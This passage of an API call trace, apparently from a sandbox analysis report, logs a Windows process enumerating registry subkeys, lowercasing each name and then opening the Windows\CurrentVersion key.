Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.929] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x92c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0209.929] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.929] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.929] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.929] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.929] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x92b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0209.929] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0209.929] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x92c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0209.929] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.929] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.929] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.930] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x92b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0209.930] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.930] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x92c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0209.930] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.930] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.930] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.930] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x92b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0209.930] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0209.930] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x92c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0209.930] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.930] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.930] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.930] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x92b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0209.930] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0209.930] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x92c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0209.930] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.930] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.930] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.930] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x92b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0209.930] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0209.930] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x92c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0209.930] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.930] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.930] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.930] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x92b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0209.931] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0209.931] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x92c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0209.931] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.931] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.931] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.931] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x92b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0209.931] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0209.931] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x92c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0209.931] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.931] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.931] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.931] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x92b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0209.931] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0209.931] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x92c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0209.931] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.931] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.931] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.931] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x92b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0209.931] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0209.931] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x92c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0209.931] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.931] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.931] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.931] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x92b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0209.932] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0209.932] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x92c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0209.932] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.932] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.932] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.932] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x92b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0209.932] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0209.932] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x92c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0209.932] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.932] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.932] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.932] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x92b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0209.932] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0209.932] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x92c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0209.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x92b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0209.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0x92b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0209.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x92b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0209.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x92b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x92b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x92b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x92b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x92b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x92b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x92b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x92b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x92b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x92b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x92b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x92b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0x92b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x92b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x92b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0209.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x92b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x92b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0x92b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x92b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x92b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x92b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x92b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x92b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x92b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x92b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x92b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x92b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x92b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x92b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x92b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x92b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0209.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x92b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x92b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x92b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x92b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x92b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x92b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x92b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x92b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x92b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x92b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x92b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x92b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x92b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x92b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x92b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x92b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0209.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x92b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x92b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x92b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x92b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x92b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x92b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x92b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x92b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x92b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x92b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x92b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x92b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x92b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x92b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x92b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0209.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0x92b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0209.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x92b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0209.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x92b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0209.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x92b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0209.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x92b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0209.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x92b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0209.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x92b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0209.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x92b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0209.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x92b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0209.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x92b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0209.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x92b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0209.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x92b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0209.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x92b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0209.937] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x21f3e8 | out: phkResult=0x21f3e8*=0xa0) returned 0x0 [0209.937] RegCloseKey (hKey=0x24) returned 0x0 [0209.937] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x92b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0209.937] RegOpenKeyExW (in: 